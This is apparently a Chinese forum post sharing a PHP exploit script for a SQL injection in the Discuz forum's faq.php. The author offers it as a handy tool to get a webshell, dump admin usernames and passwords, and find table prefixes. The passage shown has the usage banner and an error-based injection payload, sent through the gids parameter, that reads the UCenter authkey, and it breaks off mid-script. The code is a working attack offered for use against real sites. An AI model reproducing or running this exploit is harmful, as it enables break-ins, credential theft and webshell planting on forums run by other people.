已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。
参数:
1.可直接getshell
2.爆管理账号密码
3.爆表前缀
如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。
<?php
/**
* @author: xiaoma
* @blog : www.i0day.com
* @date : 2014.7.2 23:1
*/
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
if ($argc < 2) {
print_r('
********************************************************
* Discuz faq.php SQL Injection Exp *
* ---------By:Www.i0day.com----------- *
* Usage: php '.$argv[0].' url [js] *
* ------------------------------------- *
* js选项: 1.GetShell 2.取密码 3.查表前缀 *
* *
* php '.$argv[0].' Www.i0day.com / 1 *
* php '.$argv[0].' Www.i0day.com /dz72/ 1 *
* *
* *
********************************************************
');
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"::")==-1){
echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);